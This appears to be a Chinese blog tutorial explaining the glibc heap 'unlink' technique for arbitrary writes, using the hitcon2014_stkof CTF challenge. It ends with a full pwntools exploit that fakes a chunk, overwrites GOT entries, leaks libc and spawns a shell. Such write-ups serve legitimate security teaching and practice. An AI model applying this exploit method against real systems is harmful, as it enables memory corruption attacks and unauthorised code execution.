堆溢出之unlink_地址任意写

Unlink详解
Ulink是什么

unlink实际上是libc上定义的一个宏,源码如下

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      malloc_printerr (check_action,				      
			       "corrupted double-linked list (not small)",    
			       P, AV);					      
            if (FD->fd_nextsize == NULL) {				      
                if (P->fd_nextsize == P)				      
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      
                else {							      
                    FD->fd_nextsize = P->fd_nextsize;			      
                    FD->bk_nextsize = P->bk_nextsize;			      
                    P->fd_nextsize->bk_nextsize = FD;			      
                    P->bk_nextsize->fd_nextsize = FD;			      
                  }							      
              } else {							      
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      
              }								      
          }								      
      }									      
}

 但是重要的不是他的源码,而是它在堆溢出中有什么利用

堆的基础知识
large free chunk结构

可以看到一个large free chunk 不包括data的话,最小的大小为

size=p64(pre_size)+p64(size)+p64(fd)+p64(bk)+p64(fd_next)+p64(bk_next)=0x30

 这会为我们伪造一个free chunk提供条件(在后面会用到)

chunk合并

我们先来回顾一下堆方面的基础知识,我们知道,当我们free一个大小超过0x90的chunk时,会检查这个chunk物理意义上相邻的前一个chunk是否是空闲状态,如果是,两个chunk会合并成一个大的chunk来合理利用空间。

我们来看示例

申请3个0x80的空间后释放

接着用gdb bin 指令以及heap指令查看

可以看到三个空闲chunk彼此连接的,其中fd指针指向上一个chunk的地址,bk指针指向下一个chunk的地址

unlink的过程
过程

在hollk师傅的文章中,unlink被通俗易懂的理解为,从三个相互连接的chunk中摘取掉中间的chunk

那么在摘取之后会发生什么呢?

这是没摘取前三个chunk中的联系

当摘取了second_chunk后为了连接first_chunk和third_chunk

fd3会被fd取代,bk1会被bk2取代。

漏洞利用

想象一下,当second_chunk是我们伪造的,fd2,bk2伪造成我们想要写入数据,而first_chunk和third_chunk设置成我们想要写入的地址,是不是可以实现地址任意写,接下来我们通过实际的题目来理解

unlink检查

在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

        当一个chunk是空闲的时候相邻高地址的pre_size域为该chunk的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

检查3:检查前后被释放chunk的fd和bk

hitcon2014_stkof
sub_400936

这个函数就是创建chunk,并把地址放在dword_602100

sub_4009E8

 这个函数可以对chunk进行编辑,同时没有对字符进行限制,存在堆溢出

 sub_400B07

 

 这个函数就是简单的free函数

思路

首先先建立三个chunk,分别为

chunk1=0x1804010

chunk2=0x1804460

chunk3=0x18044a0

发现有两个chunk是相邻的,因为编辑函数存在堆溢出,可以覆盖下一个chunk的pre_size,size域

这个地址存着chunk的地址

即head=0x602140

编辑函数就是利用这里的地址进行操作的,假设我们可以把这里的地址改成别的地址,那么我们就可以利用编辑函数堆这个地址进行操作

那么怎么改呢?我们就可以利用unlink进行地址任意写

伪造second_chunk

在前面我们知道,unlink利用中最重要的就是second_chunk,但是这里并没有我们可以利用的chunk,那么我们考虑在chunk2的data域伪造一个free_chunk

这是前面提到的,那么我们伪造的second_chunk大小最小为0x30

那么基本结构就是

fake=second_chunk+p64(0x30)+p64(0x90)

这里的p64(0x30)是下一个chunk的pre_size域,p64(0x90)是下一个chunk的大小,目的是为了触发unlink和绕过检查(只有一个大于0x80的chunk释放时才会触发unlink)

那么接下来就是对second_chunk的具体伪造

我们知道伪造的chunk时second_chunk,那么first_chunk的bk指针就应该是chunk2的数据域

即0x1804460+0x10=0x1804470

third_chunk的fd指针也是0x1804460+0x10=0x180447

我们发现,如果把0x602138作为一个chunk的话,那么这个chunk的fd指针刚好满足上面的要求,

把0x602140作为一个chunk的话,fd指针也刚好满足要求

所以first_chunk=0x602138,third_chunk=0x602140

那么second_chunk为

second_chunk=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+p64(0x30)+p64(90)

因为second_chunk的pre_size域不影响,所以置0即可

触发unlink,实现任意写

pwndbg> x/30gx 0x602140
0x602140:	0x0000000000000000	0x0000000001804010
0x602150:	0x0000000000602038	0x0000000000000000
0x602160:	0x00000000020f8530	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000

可以看到chunk2的地址已被覆盖

泄露基地址

因为chunk已杯覆盖成0x602038

那么我们可以通过编辑函数进行操作

payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)

把chunk1和chunk2的地址覆盖成free函数和puts函数

此时我们调用free(2)时便可泄露基地址

getshell

接着我们使用编辑函数,把free函数got写成system

最后创建一个chunk存放/bin/sh后释放,getshell

完整的exp

from pwn import *
p = process('./stkof')
#p=remote("node5.buuoj.cn",'28668')
p=process('./stkof')
#context.log_level = 'debug'
#gdb.attach(p)
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
    p.sendline(str(1))
    p.sendline(str(size))
    p.recvuntil("OK")

def fill(idx,content):
    p.sendline(str(2))
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.sendline(content)
    p.recvuntil("OK")

def free(idx):
    p.sendline(str(3))
    p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
fake=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90)
fill(2,fake)
free(3)
payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)
payload=p64(puts_plt)
fill(1,payload)
free(2)
real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real))
base=real-0x6f690
system=base+0x45390
fill(1,p64(system))
fill(4,b'/bin/sh\x00')
free(4)

p.interactive()
#pause()
参考文献

好好说话之unlink

hitcon2014_stkof详解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值